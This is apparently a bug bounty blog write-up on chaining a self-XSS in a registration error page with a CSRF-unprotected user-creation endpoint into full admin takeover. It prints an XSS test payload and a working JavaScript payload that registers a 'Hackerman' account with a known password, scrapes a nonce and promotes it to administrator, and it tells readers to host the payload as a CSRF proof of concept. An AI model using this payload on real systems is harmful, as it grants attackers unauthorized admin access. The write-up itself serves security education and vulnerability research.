In this post, I will detail my adventure of finding a bug with very low impact, and being able to leverage it into what essentially is an Application Takeover.
While hunting around on the application, I found a section where you can create users. After playing around, I noticed that when the registration would fail due to errors in the form such as a invalid username, too short password, etc, the username that you were trying to register would reflect on the error page.
I then tried adding an XSS payload to see if the parameter would be sanitized in anyway. To my surprise, the parameter was not sanitized and I was able to trigger an XSS.
However, this would be considered to be a
Self-XSS which has very low impact as it requires social engineering in order to remotely exploit.
ii. Chaining CSRF with XSS
Feeling a little defeated, I thought of some ways I could leverage this XSS into something bigger. While doing some more testing, I noticed that the endpoint which is responsible for creating the user did not have any CSRF protection. This gave me an idea to try to chain the Self-XSS with the CSRF to hopefully obtain remote exploitation.
Here is an example of how the request looks like:
Payload Used: <script>alert(1)</script>
After converting the request to a CSRF proof of concept, I put it to test:
It works, now we are able to remotely exploit a Self-XSS!
Do we stop here? No.
iii. Application Takeover
Now that we are able to remotely exploit an XSS, what would be the impact? The obvious answer that comes to people’s minds is stealing the session. However the application developers were one step ahead, and set the cookies to HTTPOnly.
The way that the application flow works when creating a new user is:
- Register a new user
- Find the user in the user list, click their name to edit their profile
- Click the “promote to admin” button
With that in mind, I set off to find a way to be able to takeover the application chaining these two bugs.
var root = ""; var req = new XMLHttpRequest(); var url = root + "/xavier-demo/admin/includes/adminprocess.php"; var params = "user=Hackerman&firstname=Hackerman&lastname=Hackerman&pass=P4ssw0rd&conf_pass=P4ssw0rd& email=Hackerman%40Superman.com&conf_email=Hackerman%40Superman.com&form_submission=admin_registration"; req.open("POST", url, true); req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req.send(params); var url2 = root + "/xavier-demo/admin/adminuseredit.php?usertoedit=Hackerman"; var regex = /delete-user" value="([^"]*?)"/g; var req2 = new XMLHttpRequest(); req2.open("GET", url2, false); req2.send(); var nonce = regex.exec(req2.responseText); var nonce = nonce; var url3 = root + "/xavier-demo/admin/includes/adminprocess.php"; var params2 = "delete-user="+nonce+"&form_submission=delete_user&usertoedit=Hackerman&button=Promotetoadmin"; req2.open("POST", url3, true); req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req2.send(params2);
This will create a user with the username Hackerman, password: P4ssw0rd with Administrator privileges.
Then use a payload such as:
Create a CSRF proof of concept with the payload above, and host it on your site.
Executing the CSRF:
So essentially with a Self-XSS and some creative thinking we were able to takeover an application.
This was a great experience, and I’ve learned a lot. Remember when you have one piece of the puzzle, there are always ways to be able to leverage it into something bigger & greater. What normally would be treated as an informational bug, is able to be leveraged into something that can takeover the application.
As always, thank you for reading.